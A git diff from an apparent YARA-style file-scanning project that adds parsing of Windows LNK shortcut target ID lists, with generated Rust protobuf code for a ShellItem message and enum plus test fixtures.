"7bcd46ec-7f22-11dd-9499-00137216874a" droid_birth_volume_id: "94c77840-fa47-46c7-b356-5c2dc6b6d115" - droid_birth_file_id: "7bcd46ec-7f22-11dd-9499-00137216874a" \ No newline at end of file + droid_birth_file_id: "7bcd46ec-7f22-11dd-9499-00137216874a" +target_id_list: + - item_type: ROOT_FOLDER + data: "P\xe0O\xd0 \xea:i\x10\xa2\xd8\x08\x00+00\x9d" + root_folder_id: "20d04fe0-3aea-1069-a2d8-08002b30309d" + - item_type: VOLUME + data: "C:\\\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + volume_name: "C:\\" + - item_type: FILE_ENTRY + data: "\x00\x00\x00\x00\x00,9i\xa3\x10\x00test\x00\x002\x00\x07\x00\x04\x00\xef\xbe,9e\xa3,9i\xa3&\x00\x00\x00\x03\x1e\x00\x00\x00\x00\xf5\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00t\x00e\x00s\x00t\x00\x00\x00\x14\x00" + file_entry_name: "test" + - item_type: FILE_ENTRY + data: "\x00\x00\x00\x00\x00,9i\xa3 \x00a.txt\x004\x00\x07\x00\x04\x00\xef\xbe,9i\xa3,9i\xa3&\x00\x00\x00-n\x00\x00\x00\x00\x96\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00a\x00.\x00t\x00x\x00t\x00\x00\x00\x14\x00" + file_entry_name: "a.txt" \ No newline at end of file diff --git a/lib/src/modules/lnk/tests/testdata/lnk-unknown-item.in.zip b/lib/src/modules/lnk/tests/testdata/lnk-unknown-item.in.zip new file mode 100644 index 0000000000000000000000000000000000000000..c1a70fcb409152ceded8b7013c22ca68e68bd85f GIT binary patch literal 576 zcmWIWW@Zs#U|`^2nC|^ICdonX(hf!j1~FC!24SFRPF}WdX`*?kbe%h&`JVQ`V>1NXli$h+EeT_a*?9i@slKD)W;N@IFRe;`$$!B6y;78DOPtK? zH@|!mS!UI0N_CxLZ8|n@`?s!zDaSuu3$&V2YR4HE{QJrE7ZE>KGew!a=<08)Ii7U* zkZXBF$K(ZXk_^s0&M#b0F*Etv#`h{mU+1N$9)C4iBr)dp%z1xT?X}!icR3@nGE(`) z?_L$V2>n@`URJ%k^Yg4`hP(6j69SWRY&`5U^#A_I-gK{2=H9vO_YTdHvEII9{-4wh zJKOem$V+bO zdh|Ox^0G?%^&?BmzS^6%9e4b$&*yM_S#3)3k1Kyyh4xs=#F>j+{W#zD+l!xi4slhc zOVVBLCO^@ccx0p46D5h?mv;QT*FA04wz|HpKXqM, // @@protoc_insertion_point(field:lnk.Lnk.tracker_data) pub tracker_data: ::protobuf::MessageField, + // @@protoc_insertion_point(field:lnk.Lnk.target_id_list) + pub target_id_list: ::std::vec::Vec, // special fields // @@protoc_insertion_point(special_field:lnk.Lnk.special_fields) pub special_fields: ::protobuf::SpecialFields, @@ -609,7 +611,7 @@ impl Lnk { } fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { - let mut fields = ::std::vec::Vec::with_capacity(21); + let mut fields = ::std::vec::Vec::with_capacity(22); let mut oneofs = ::std::vec::Vec::with_capacity(0); fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( "is_lnk", @@ -716,6 +718,11 @@ impl Lnk { |m: &Lnk| { &m.tracker_data }, |m: &mut Lnk| { &mut m.tracker_data }, )); + fields.push(::protobuf::reflect::rt::v2::make_vec_simpler_accessor::<_, _>( + "target_id_list", + |m: &Lnk| { &m.target_id_list }, + |m: &mut Lnk| { &mut m.target_id_list }, + )); ::protobuf::reflect::GeneratedMessageDescriptorData::new_2::( "Lnk", fields, @@ -736,6 +743,11 @@ impl ::protobuf::Message for Lnk { return false; } }; + for v in &self.target_id_list { + if !v.is_initialized() { + return false; + } + }; true } @@ -805,6 +817,9 @@ impl ::protobuf::Message for Lnk { 170 => { ::protobuf::rt::read_singular_message_into_field(is, &mut self.tracker_data)?; }, + 178 => { + self.target_id_list.push(is.read_message()?); + }, tag => { ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; }, @@ -881,6 +896,10 @@ impl ::protobuf::Message for Lnk { let len = v.compute_size(); my_size += 2 + ::protobuf::rt::compute_raw_varint64_size(len) + len; } + for value in &self.target_id_list { + let len = value.compute_size(); + my_size += 2 + ::protobuf::rt::compute_raw_varint64_size(len) + len; + }; my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); self.special_fields.cached_size().set(my_size as u32); my_size @@ -950,6 +969,9 @@ impl ::protobuf::Message for Lnk { if let Some(v) = self.tracker_data.as_ref() { ::protobuf::rt::write_message_field_with_cached_size(21, v, os)?; } + for v in &self.target_id_list { + ::protobuf::rt::write_message_field_with_cached_size(22, v, os)?; + }; os.write_unknown_fields(self.special_fields.unknown_fields())?; ::std::result::Result::Ok(()) } @@ -988,6 +1010,7 @@ impl ::protobuf::Message for Lnk { self.overlay_size = ::std::option::Option::None; self.overlay_offset = ::std::option::Option::None; self.tracker_data.clear(); + self.target_id_list.clear(); self.special_fields.clear(); } @@ -1014,6 +1037,7 @@ impl ::protobuf::Message for Lnk { overlay_size: ::std::option::Option::None, overlay_offset: ::std::option::Option::None, tracker_data: ::protobuf::MessageField::none(), + target_id_list: ::std::vec::Vec::new(), special_fields: ::protobuf::SpecialFields::new(), }; &instance @@ -1037,6 +1061,528 @@ impl ::protobuf::reflect::ProtobufValue for Lnk { type RuntimeType = ::protobuf::reflect::rt::RuntimeTypeMessage; } +// @@protoc_insertion_point(message:lnk.ShellItem) +#[derive(PartialEq,Clone,Default,Debug)] +pub struct ShellItem { + // message fields + // @@protoc_insertion_point(field:lnk.ShellItem.item_type) + pub item_type: ::std::option::Option<::protobuf::EnumOrUnknown>, + // @@protoc_insertion_point(field:lnk.ShellItem.data) + pub data: ::std::option::Option<::std::vec::Vec>, + // @@protoc_insertion_point(field:lnk.ShellItem.cpl_file_path) + pub cpl_file_path: ::std::option::Option<::std::string::String>, + // @@protoc_insertion_point(field:lnk.ShellItem.root_folder_id) + pub root_folder_id: ::std::option::Option<::std::string::String>, + // @@protoc_insertion_point(field:lnk.ShellItem.volume_name) + pub volume_name: ::std::option::Option<::std::string::String>, + // @@protoc_insertion_point(field:lnk.ShellItem.volume_id) + pub volume_id: ::std::option::Option<::std::string::String>, + // @@protoc_insertion_point(field:lnk.ShellItem.file_entry_name) + pub file_entry_name: ::std::option::Option<::std::string::String>, + // @@protoc_insertion_point(field:lnk.ShellItem.network_location) + pub network_location: ::std::option::Option<::std::string::String>, + // special fields + // @@protoc_insertion_point(special_field:lnk.ShellItem.special_fields) + pub special_fields: ::protobuf::SpecialFields, +} + +impl<'a> ::std::default::Default for &'a ShellItem { + fn default() -> &'a ShellItem { + ::default_instance() + } +} + +impl ShellItem { + pub fn new() -> ShellItem { + ::std::default::Default::default() + } + + // optional .lnk.ShellItemType item_type = 1; + + pub fn item_type(&self) -> ShellItemType { + match self.item_type { + Some(e) => e.enum_value_or(ShellItemType::CONTROL_PANEL_CPL), + None => ShellItemType::CONTROL_PANEL_CPL, + } + } + + pub fn clear_item_type(&mut self) { + self.item_type = ::std::option::Option::None; + } + + pub fn has_item_type(&self) -> bool { + self.item_type.is_some() + } + + // Param is passed by value, moved + pub fn set_item_type(&mut self, v: ShellItemType) { + self.item_type = ::std::option::Option::Some(::protobuf::EnumOrUnknown::new(v)); + } + + // optional bytes data = 3; + + pub fn data(&self) -> &[u8] { + match self.data.as_ref() { + Some(v) => v, + None => &[], + } + } + + pub fn clear_data(&mut self) { + self.data = ::std::option::Option::None; + } + + pub fn has_data(&self) -> bool { + self.data.is_some() + } + + // Param is passed by value, moved + pub fn set_data(&mut self, v: ::std::vec::Vec) { + self.data = ::std::option::Option::Some(v); + } + + // Mutable pointer to the field. + // If field is not initialized, it is initialized with default value first. + pub fn mut_data(&mut self) -> &mut ::std::vec::Vec { + if self.data.is_none() { + self.data = ::std::option::Option::Some(::std::vec::Vec::new()); + } + self.data.as_mut().unwrap() + } + + // Take field + pub fn take_data(&mut self) -> ::std::vec::Vec { + self.data.take().unwrap_or_else(|| ::std::vec::Vec::new()) + } + + // optional string cpl_file_path = 4; + + pub fn cpl_file_path(&self) -> &str { + match self.cpl_file_path.as_ref() { + Some(v) => v, + None => "", + } + } + + pub fn clear_cpl_file_path(&mut self) { + self.cpl_file_path = ::std::option::Option::None; + } + + pub fn has_cpl_file_path(&self) -> bool { + self.cpl_file_path.is_some() + } + + // Param is passed by value, moved + pub fn set_cpl_file_path(&mut self, v: ::std::string::String) { + self.cpl_file_path = ::std::option::Option::Some(v); + } + + // Mutable pointer to the field. + // If field is not initialized, it is initialized with default value first. + pub fn mut_cpl_file_path(&mut self) -> &mut ::std::string::String { + if self.cpl_file_path.is_none() { + self.cpl_file_path = ::std::option::Option::Some(::std::string::String::new()); + } + self.cpl_file_path.as_mut().unwrap() + } + + // Take field + pub fn take_cpl_file_path(&mut self) -> ::std::string::String { + self.cpl_file_path.take().unwrap_or_else(|| ::std::string::String::new()) + } + + // optional string root_folder_id = 5; + + pub fn root_folder_id(&self) -> &str { + match self.root_folder_id.as_ref() { + Some(v) => v, + None => "", + } + } + + pub fn clear_root_folder_id(&mut self) { + self.root_folder_id = ::std::option::Option::None; + } + + pub fn has_root_folder_id(&self) -> bool { + self.root_folder_id.is_some() + } + + // Param is passed by value, moved + pub fn set_root_folder_id(&mut self, v: ::std::string::String) { + self.root_folder_id = ::std::option::Option::Some(v); + } + + // Mutable pointer to the field. + // If field is not initialized, it is initialized with default value first. + pub fn mut_root_folder_id(&mut self) -> &mut ::std::string::String { + if self.root_folder_id.is_none() { + self.root_folder_id = ::std::option::Option::Some(::std::string::String::new()); + } + self.root_folder_id.as_mut().unwrap() + } + + // Take field + pub fn take_root_folder_id(&mut self) -> ::std::string::String { + self.root_folder_id.take().unwrap_or_else(|| ::std::string::String::new()) + } + + // optional string volume_name = 6; + + pub fn volume_name(&self) -> &str { + match self.volume_name.as_ref() { + Some(v) => v, + None => "", + } + } + + pub fn clear_volume_name(&mut self) { + self.volume_name = ::std::option::Option::None; + } + + pub fn has_volume_name(&self) -> bool { + self.volume_name.is_some() + } + + // Param is passed by value, moved + pub fn set_volume_name(&mut self, v: ::std::string::String) { + self.volume_name = ::std::option::Option::Some(v); + } + + // Mutable pointer to the field. + // If field is not initialized, it is initialized with default value first. + pub fn mut_volume_name(&mut self) -> &mut ::std::string::String { + if self.volume_name.is_none() { + self.volume_name = ::std::option::Option::Some(::std::string::String::new()); + } + self.volume_name.as_mut().unwrap() + } + + // Take field + pub fn take_volume_name(&mut self) -> ::std::string::String { + self.volume_name.take().unwrap_or_else(|| ::std::string::String::new()) + } + + // optional string volume_id = 7; + + pub fn volume_id(&self) -> &str { + match self.volume_id.as_ref() { + Some(v) => v, + None => "", + } + } + + pub fn clear_volume_id(&mut self) { + self.volume_id = ::std::option::Option::None; + } + + pub fn has_volume_id(&self) -> bool { + self.volume_id.is_some() + } + + // Param is passed by value, moved + pub fn set_volume_id(&mut self, v: ::std::string::String) { + self.volume_id = ::std::option::Option::Some(v); + } + + // Mutable pointer to the field. + // If field is not initialized, it is initialized with default value first. + pub fn mut_volume_id(&mut self) -> &mut ::std::string::String { + if self.volume_id.is_none() { + self.volume_id = ::std::option::Option::Some(::std::string::String::new()); + } + self.volume_id.as_mut().unwrap() + } + + // Take field + pub fn take_volume_id(&mut self) -> ::std::string::String { + self.volume_id.take().unwrap_or_else(|| ::std::string::String::new()) + } + + // optional string file_entry_name = 8; + + pub fn file_entry_name(&self) -> &str { + match self.file_entry_name.as_ref() { + Some(v) => v, + None => "", + } + } + + pub fn clear_file_entry_name(&mut self) { + self.file_entry_name = ::std::option::Option::None; + } + + pub fn has_file_entry_name(&self) -> bool { + self.file_entry_name.is_some() + } + + // Param is passed by value, moved + pub fn set_file_entry_name(&mut self, v: ::std::string::String) { + self.file_entry_name = ::std::option::Option::Some(v); + } + + // Mutable pointer to the field. + // If field is not initialized, it is initialized with default value first. + pub fn mut_file_entry_name(&mut self) -> &mut ::std::string::String { + if self.file_entry_name.is_none() { + self.file_entry_name = ::std::option::Option::Some(::std::string::String::new()); + } + self.file_entry_name.as_mut().unwrap() + } + + // Take field + pub fn take_file_entry_name(&mut self) -> ::std::string::String { + self.file_entry_name.take().unwrap_or_else(|| ::std::string::String::new()) + } + + // optional string network_location = 9; + + pub fn network_location(&self) -> &str { + match self.network_location.as_ref() { + Some(v) => v, + None => "", + } + } + + pub fn clear_network_location(&mut self) { + self.network_location = ::std::option::Option::None; + } + + pub fn has_network_location(&self) -> bool { + self.network_location.is_some() + } + + // Param is passed by value, moved + pub fn set_network_location(&mut self, v: ::std::string::String) { + self.network_location = ::std::option::Option::Some(v); + } + + // Mutable pointer to the field. + // If field is not initialized, it is initialized with default value first. + pub fn mut_network_location(&mut self) -> &mut ::std::string::String { + if self.network_location.is_none() { + self.network_location = ::std::option::Option::Some(::std::string::String::new()); + } + self.network_location.as_mut().unwrap() + } + + // Take field + pub fn take_network_location(&mut self) -> ::std::string::String { + self.network_location.take().unwrap_or_else(|| ::std::string::String::new()) + } + + fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { + let mut fields = ::std::vec::Vec::with_capacity(8); + let mut oneofs = ::std::vec::Vec::with_capacity(0); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "item_type", + |m: &ShellItem| { &m.item_type }, + |m: &mut ShellItem| { &mut m.item_type }, + )); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "data", + |m: &ShellItem| { &m.data }, + |m: &mut ShellItem| { &mut m.data }, + )); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "cpl_file_path", + |m: &ShellItem| { &m.cpl_file_path }, + |m: &mut ShellItem| { &mut m.cpl_file_path }, + )); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "root_folder_id", + |m: &ShellItem| { &m.root_folder_id }, + |m: &mut ShellItem| { &mut m.root_folder_id }, + )); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "volume_name", + |m: &ShellItem| { &m.volume_name }, + |m: &mut ShellItem| { &mut m.volume_name }, + )); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "volume_id", + |m: &ShellItem| { &m.volume_id }, + |m: &mut ShellItem| { &mut m.volume_id }, + )); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "file_entry_name", + |m: &ShellItem| { &m.file_entry_name }, + |m: &mut ShellItem| { &mut m.file_entry_name }, + )); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "network_location", + |m: &ShellItem| { &m.network_location }, + |m: &mut ShellItem| { &mut m.network_location }, + )); + ::protobuf::reflect::GeneratedMessageDescriptorData::new_2::( + "ShellItem", + fields, + oneofs, + ) + } +} + +impl ::protobuf::Message for ShellItem { + const NAME: &'static str = "ShellItem"; + + fn is_initialized(&self) -> bool { + true + } + + fn merge_from(&mut self, is: &mut ::protobuf::CodedInputStream<'_>) -> ::protobuf::Result<()> { + while let Some(tag) = is.read_raw_tag_or_eof()? { + match tag { + 8 => { + self.item_type = ::std::option::Option::Some(is.read_enum_or_unknown()?); + }, + 26 => { + self.data = ::std::option::Option::Some(is.read_bytes()?); + }, + 34 => { + self.cpl_file_path = ::std::option::Option::Some(is.read_string()?); + }, + 42 => { + self.root_folder_id = ::std::option::Option::Some(is.read_string()?); + }, + 50 => { + self.volume_name = ::std::option::Option::Some(is.read_string()?); + }, + 58 => { + self.volume_id = ::std::option::Option::Some(is.read_string()?); + }, + 66 => { + self.file_entry_name = ::std::option::Option::Some(is.read_string()?); + }, + 74 => { + self.network_location = ::std::option::Option::Some(is.read_string()?); + }, + tag => { + ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; + }, + }; + } + ::std::result::Result::Ok(()) + } + + // Compute sizes of nested messages + #[allow(unused_variables)] + fn compute_size(&self) -> u64 { + let mut my_size = 0; + if let Some(v) = self.item_type { + my_size += ::protobuf::rt::int32_size(1, v.value()); + } + if let Some(v) = self.data.as_ref() { + my_size += ::protobuf::rt::bytes_size(3, &v); + } + if let Some(v) = self.cpl_file_path.as_ref() { + my_size += ::protobuf::rt::string_size(4, &v); + } + if let Some(v) = self.root_folder_id.as_ref() { + my_size += ::protobuf::rt::string_size(5, &v); + } + if let Some(v) = self.volume_name.as_ref() { + my_size += ::protobuf::rt::string_size(6, &v); + } + if let Some(v) = self.volume_id.as_ref() { + my_size += ::protobuf::rt::string_size(7, &v); + } + if let Some(v) = self.file_entry_name.as_ref() { + my_size += ::protobuf::rt::string_size(8, &v); + } + if let Some(v) = self.network_location.as_ref() { + my_size += ::protobuf::rt::string_size(9, &v); + } + my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); + self.special_fields.cached_size().set(my_size as u32); + my_size + } + + fn write_to_with_cached_sizes(&self, os: &mut ::protobuf::CodedOutputStream<'_>) -> ::protobuf::Result<()> { + if let Some(v) = self.item_type { + os.write_enum(1, ::protobuf::EnumOrUnknown::value(&v))?; + } + if let Some(v) = self.data.as_ref() { + os.write_bytes(3, v)?; + } + if let Some(v) = self.cpl_file_path.as_ref() { + os.write_string(4, v)?; + } + if let Some(v) = self.root_folder_id.as_ref() { + os.write_string(5, v)?; + } + if let Some(v) = self.volume_name.as_ref() { + os.write_string(6, v)?; + } + if let Some(v) = self.volume_id.as_ref() { + os.write_string(7, v)?; + } + if let Some(v) = self.file_entry_name.as_ref() { + os.write_string(8, v)?; + } + if let Some(v) = self.network_location.as_ref() { + os.write_string(9, v)?; + } + os.write_unknown_fields(self.special_fields.unknown_fields())?; + ::std::result::Result::Ok(()) + } + + fn special_fields(&self) -> &::protobuf::SpecialFields { + &self.special_fields + } + + fn mut_special_fields(&mut self) -> &mut ::protobuf::SpecialFields { + &mut self.special_fields + } + + fn new() -> ShellItem { + ShellItem::new() + } + + fn clear(&mut self) { + self.item_type = ::std::option::Option::None; + self.data = ::std::option::Option::None; + self.cpl_file_path = ::std::option::Option::None; + self.root_folder_id = ::std::option::Option::None; + self.volume_name = ::std::option::Option::None; + self.volume_id = ::std::option::Option::None; + self.file_entry_name = ::std::option::Option::None; + self.network_location = ::std::option::Option::None; + self.special_fields.clear(); + } + + fn default_instance() -> &'static ShellItem { + static instance: ShellItem = ShellItem { + item_type: ::std::option::Option::None, + data: ::std::option::Option::None, + cpl_file_path: ::std::option::Option::None, + root_folder_id: ::std::option::Option::None, + volume_name: ::std::option::Option::None, + volume_id: ::std::option::Option::None, + file_entry_name: ::std::option::Option::None, + network_location: ::std::option::Option::None, + special_fields: ::protobuf::SpecialFields::new(), + }; + &instance + } +} + +impl ::protobuf::MessageFull for ShellItem { + fn descriptor() -> ::protobuf::reflect::MessageDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::MessageDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| file_descriptor().message_by_package_relative_name("ShellItem").unwrap()).clone() + } +} + +impl ::std::fmt::Display for ShellItem { + fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result { + ::protobuf::text_format::fmt(self, f) + } +} + +impl ::protobuf::reflect::ProtobufValue for ShellItem { + type RuntimeType = ::protobuf::reflect::rt::RuntimeTypeMessage; +} + // @@protoc_insertion_point(message:lnk.TrackerData) #[derive(PartialEq,Clone,Default,Debug)] pub struct TrackerData { @@ -1751,8 +2297,133 @@ impl DriveType { } } +#[derive(Clone,Copy,PartialEq,Eq,Debug,Hash)] +// @@protoc_insertion_point(enum:lnk.ShellItemType) +pub enum ShellItemType { + // @@protoc_insertion_point(enum_value:lnk.ShellItemType.CONTROL_PANEL_CPL) + CONTROL_PANEL_CPL = 0, + // @@protoc_insertion_point(enum_value:lnk.ShellItemType.CONTROL_PANEL_CATEGORY) + CONTROL_PANEL_CATEGORY = 1, + // @@protoc_insertion_point(enum_value:lnk.ShellItemType.ROOT_FOLDER) + ROOT_FOLDER = 31, + // @@protoc_insertion_point(enum_value:lnk.ShellItemType.VOLUME) + VOLUME = 32, + // @@protoc_insertion_point(enum_value:lnk.ShellItemType.FILE_ENTRY) + FILE_ENTRY = 48, + // @@protoc_insertion_point(enum_value:lnk.ShellItemType.NETWORK_LOCATION) + NETWORK_LOCATION = 64, + // @@protoc_insertion_point(enum_value:lnk.ShellItemType.COMPRESSED_FOLDER) + COMPRESSED_FOLDER = 82, + // @@protoc_insertion_point(enum_value:lnk.ShellItemType.URI) + URI = 97, + // @@protoc_insertion_point(enum_value:lnk.ShellItemType.CONTROL_PANEL) + CONTROL_PANEL = 113, + // @@protoc_insertion_point(enum_value:lnk.ShellItemType.PRINTERS) + PRINTERS = 114, + // @@protoc_insertion_point(enum_value:lnk.ShellItemType.COMMON_PLACES_FOLDER) + COMMON_PLACES_FOLDER = 115, + // @@protoc_insertion_point(enum_value:lnk.ShellItemType.USERS_FILES_FOLDER) + USERS_FILES_FOLDER = 116, +} + +impl ::protobuf::Enum for ShellItemType { + const NAME: &'static str = "ShellItemType"; + + fn value(&self) -> i32 { + *self as i32 + } + + fn from_i32(value: i32) -> ::std::option::Option { + match value { + 0 => ::std::option::Option::Some(ShellItemType::CONTROL_PANEL_CPL), + 1 => ::std::option::Option::Some(ShellItemType::CONTROL_PANEL_CATEGORY), + 31 => ::std::option::Option::Some(ShellItemType::ROOT_FOLDER), + 32 => ::std::option::Option::Some(ShellItemType::VOLUME), + 48 => ::std::option::Option::Some(ShellItemType::FILE_ENTRY), + 64 => ::std::option::Option::Some(ShellItemType::NETWORK_LOCATION), + 82 => ::std::option::Option::Some(ShellItemType::COMPRESSED_FOLDER), + 97 => ::std::option::Option::Some(ShellItemType::URI), + 113 => ::std::option::Option::Some(ShellItemType::CONTROL_PANEL), + 114 => ::std::option::Option::Some(ShellItemType::PRINTERS), + 115 => ::std::option::Option::Some(ShellItemType::COMMON_PLACES_FOLDER), + 116 => ::std::option::Option::Some(ShellItemType::USERS_FILES_FOLDER), + _ => ::std::option::Option::None + } + } + + fn from_str(str: &str) -> ::std::option::Option { + match str { + "CONTROL_PANEL_CPL" => ::std::option::Option::Some(ShellItemType::CONTROL_PANEL_CPL), + "CONTROL_PANEL_CATEGORY" => ::std::option::Option::Some(ShellItemType::CONTROL_PANEL_CATEGORY), + "ROOT_FOLDER" => ::std::option::Option::Some(ShellItemType::ROOT_FOLDER), + "VOLUME" => ::std::option::Option::Some(ShellItemType::VOLUME), + "FILE_ENTRY" => ::std::option::Option::Some(ShellItemType::FILE_ENTRY), + "NETWORK_LOCATION" => ::std::option::Option::Some(ShellItemType::NETWORK_LOCATION), + "COMPRESSED_FOLDER" => ::std::option::Option::Some(ShellItemType::COMPRESSED_FOLDER), + "URI" => ::std::option::Option::Some(ShellItemType::URI), + "CONTROL_PANEL" => ::std::option::Option::Some(ShellItemType::CONTROL_PANEL), + "PRINTERS" => ::std::option::Option::Some(ShellItemType::PRINTERS), + "COMMON_PLACES_FOLDER" => ::std::option::Option::Some(ShellItemType::COMMON_PLACES_FOLDER), + "USERS_FILES_FOLDER" => ::std::option::Option::Some(ShellItemType::USERS_FILES_FOLDER), + _ => ::std::option::Option::None + } + } + + const VALUES: &'static [ShellItemType] = &[ + ShellItemType::CONTROL_PANEL_CPL, + ShellItemType::CONTROL_PANEL_CATEGORY, + ShellItemType::ROOT_FOLDER, + ShellItemType::VOLUME, + ShellItemType::FILE_ENTRY, + ShellItemType::NETWORK_LOCATION, + ShellItemType::COMPRESSED_FOLDER, + ShellItemType::URI, + ShellItemType::CONTROL_PANEL, + ShellItemType::PRINTERS, + ShellItemType::COMMON_PLACES_FOLDER, + ShellItemType::USERS_FILES_FOLDER, + ]; +} + +impl ::protobuf::EnumFull for ShellItemType { + fn enum_descriptor() -> ::protobuf::reflect::EnumDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::EnumDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| file_descriptor().enum_by_package_relative_name("ShellItemType").unwrap()).clone() + } + + fn descriptor(&self) -> ::protobuf::reflect::EnumValueDescriptor { + let index = match self { + ShellItemType::CONTROL_PANEL_CPL => 0, + ShellItemType::CONTROL_PANEL_CATEGORY => 1, + ShellItemType::ROOT_FOLDER => 2, + ShellItemType::VOLUME => 3, + ShellItemType::FILE_ENTRY => 4, + ShellItemType::NETWORK_LOCATION => 5, + ShellItemType::COMPRESSED_FOLDER => 6, + ShellItemType::URI => 7, + ShellItemType::CONTROL_PANEL => 8, + ShellItemType::PRINTERS => 9, + ShellItemType::COMMON_PLACES_FOLDER => 10, + ShellItemType::USERS_FILES_FOLDER => 11, + }; + Self::enum_descriptor().value_by_index(index) + } +} + +impl ::std::default::Default for ShellItemType { + fn default() -> Self { + ShellItemType::CONTROL_PANEL_CPL + } +} + +impl ShellItemType { + fn generated_enum_descriptor_data() -> ::protobuf::reflect::GeneratedEnumDescriptorData { + ::protobuf::reflect::GeneratedEnumDescriptorData::new::("ShellItemType") + } +} + static file_descriptor_proto_data: &'static [u8] = b"\ - \n\tlnk.proto\x12\x03lnk\x1a\nyara.proto\"\x95\x06\n\x03Lnk\x12\x15\n\ + \n\tlnk.proto\x12\x03lnk\x1a\nyara.proto\"\xcb\x06\n\x03Lnk\x12\x15\n\ \x06is_lnk\x18\x01\x20\x02(\x08R\x05isLnk\x12\x12\n\x04name\x18\x02\x20\ \x01(\tR\x04name\x12#\n\rcreation_time\x18\x03\x20\x01(\x04R\x0ccreation\ Time\x12\x1f\n\x0baccess_time\x18\x04\x20\x01(\x04R\naccessTime\x12\x1d\ @@ -1770,29 +2441,43 @@ static file_descriptor_proto_data: &'static [u8] = b"\ orkingDir\x12\"\n\rcmd_line_args\x18\x12\x20\x01(\tR\x0bcmdLineArgs\x12!\ \n\x0coverlay_size\x18\x13\x20\x01(\x04R\x0boverlaySize\x12%\n\x0eoverla\ y_offset\x18\x14\x20\x01(\x04R\roverlayOffset\x123\n\x0ctracker_data\x18\ - \x15\x20\x01(\x0b2\x10.lnk.TrackerDataR\x0btrackerData\"\xf4\x01\n\x0bTr\ - ackerData\x12\x18\n\x07version\x18\x01\x20\x01(\rR\x07version\x12\x1d\n\ - \nmachine_id\x18\x02\x20\x01(\tR\tmachineId\x12&\n\x0fdroid_volume_id\ - \x18\x03\x20\x01(\tR\rdroidVolumeId\x12\"\n\rdroid_file_id\x18\x04\x20\ - \x01(\tR\x0bdroidFileId\x121\n\x15droid_birth_volume_id\x18\x05\x20\x01(\ - \tR\x12droidBirthVolumeId\x12-\n\x13droid_birth_file_id\x18\x06\x20\x01(\ - \tR\x10droidBirthFileId*\xca\x03\n\x0eFileAttributes\x12\x1b\n\x17FILE_A\ - TTRIBUTE_READONLY\x10\x01\x12\x19\n\x15FILE_ATTRIBUTE_HIDDEN\x10\x02\x12\ - \x19\n\x15FILE_ATTRIBUTE_SYSTEM\x10\x04\x12\x0e\n\nRESERVED_1\x10\x08\ - \x12\x1c\n\x18FILE_ATTRIBUTE_DIRECTORY\x10\x10\x12\x1a\n\x16FILE_ATTRIBU\ - TE_ARCHIVE\x10\x20\x12\x0e\n\nRESERVED_2\x10@\x12\x1a\n\x15FILE_ATTRIBUT\ - E_NORMAL\x10\x80\x01\x12\x1d\n\x18FILE_ATTRIBUTE_TEMPORARY\x10\x80\x02\ - \x12\x1f\n\x1aFILE_ATTRIBUTE_SPARSE_FILE\x10\x80\x04\x12!\n\x1cFILE_ATTR\ - IBUTE_REPARSE_POINT\x10\x80\x08\x12\x1e\n\x19FILE_ATTRIBUTE_COMPRESSED\ - \x10\x80\x10\x12\x1b\n\x16FILE_ATTRIBUTE_OFFLINE\x10\x80\x20\x12'\n\"FIL\ - E_ATTRIBUTE_NOT_CONTENT_INDEXED\x10\x80@\x12\x1e\n\x18FILE_ATTRIBUTE_ENC\ - RYPTED\x10\x80\x80\x01\x1a\x06\x92\x93\x19\x02\x10\x01*;\n\x0bShowComman\ - d\x12\n\n\x06NORMAL\x10\x01\x12\r\n\tMAXIMIZED\x10\x03\x12\x11\n\rMIN_NO\ - _ACTIVE\x10\x07*g\n\tDriveType\x12\x0b\n\x07UNKNOWN\x10\0\x12\x0f\n\x0bN\ - O_ROOT_DIR\x10\x01\x12\r\n\tREMOVABLE\x10\x02\x12\t\n\x05FIXED\x10\x03\ - \x12\n\n\x06REMOTE\x10\x04\x12\t\n\x05CDROM\x10\x05\x12\x0b\n\x07RAMDISK\ - \x10\x06B\x1e\xfa\x92\x19\x1a\n\x03lnk\x12\x07lnk.Lnk\x1a\nlnk-moduleb\ - \x06proto2\ + \x15\x20\x01(\x0b2\x10.lnk.TrackerDataR\x0btrackerData\x124\n\x0etarget_\ + id_list\x18\x16\x20\x03(\x0b2\x0e.lnk.ShellItemR\x0ctargetIdList\"\xb4\ + \x02\n\tShellItem\x128\n\titem_type\x18\x01\x20\x01(\x0e2\x12.lnk.ShellI\ + temTypeR\x08itemTypeB\x07\x82\x93\x19\x03*\x01x\x12\x12\n\x04data\x18\ + \x03\x20\x01(\x0cR\x04data\x12\"\n\rcpl_file_path\x18\x04\x20\x01(\tR\ + \x0bcplFilePath\x12$\n\x0eroot_folder_id\x18\x05\x20\x01(\tR\x0crootFold\ + erId\x12\x1f\n\x0bvolume_name\x18\x06\x20\x01(\tR\nvolumeName\x12\x1b\n\ + \tvolume_id\x18\x07\x20\x01(\tR\x08volumeId\x12&\n\x0ffile_entry_name\ + \x18\x08\x20\x01(\tR\rfileEntryName\x12)\n\x10network_location\x18\t\x20\ + 